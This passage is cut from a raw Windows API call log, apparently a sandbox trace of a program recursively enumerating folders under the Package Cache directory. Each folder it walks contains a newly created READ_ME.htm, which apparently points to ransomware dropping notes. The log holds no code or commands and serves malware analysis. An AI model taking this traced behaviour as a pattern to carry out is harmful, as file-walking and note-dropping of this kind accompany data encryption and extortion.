dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{65e650ff-30be-469d-b63a-418d71ea1765}", cAlternateFileName="{65E65~1")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", cAlternateFileName="{6913E~1")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", cAlternateFileName="{7D0B7~1.285")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x5000ae00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5000ae00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5216610, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x5000ae00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5000ae00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", cAlternateFileName="{EEA66~1.285")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0142.126] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0142.126] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.126] SetErrorMode (uMode=0x0) returned 0x1 [0142.126] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpFilePart=0x0) returned 0x49 [0142.126] SetErrorMode (uMode=0x1) returned 0x0 [0142.126] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.127] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.127] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.127] SetErrorMode (uMode=0x0) returned 0x1 [0142.127] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpFilePart=0x0) returned 0x49 [0142.128] SetErrorMode (uMode=0x1) returned 0x0 [0142.128] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.128] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.129] SetErrorMode (uMode=0x0) returned 0x1 [0142.129] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", lpFilePart=0x0) returned 0x52 [0142.129] SetErrorMode (uMode=0x1) returned 0x0 [0142.129] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.129] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.130] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0142.130] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.130] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.130] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.130] SetErrorMode (uMode=0x0) returned 0x1 [0142.130] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", lpFilePart=0x0) returned 0x52 [0142.130] SetErrorMode (uMode=0x1) returned 0x0 [0142.131] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.131] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.131] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0142.131] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.131] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5d540, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.131] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.131] SetErrorMode (uMode=0x0) returned 0x1 [0142.132] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0142.132] SetErrorMode (uMode=0x1) returned 0x0 [0142.132] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.132] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.132] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd373e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.132] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0142.133] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0142.133] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.133] SetErrorMode (uMode=0x0) returned 0x1 [0142.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0142.133] SetErrorMode (uMode=0x1) returned 0x0 [0142.133] FindFirstFileW (in: 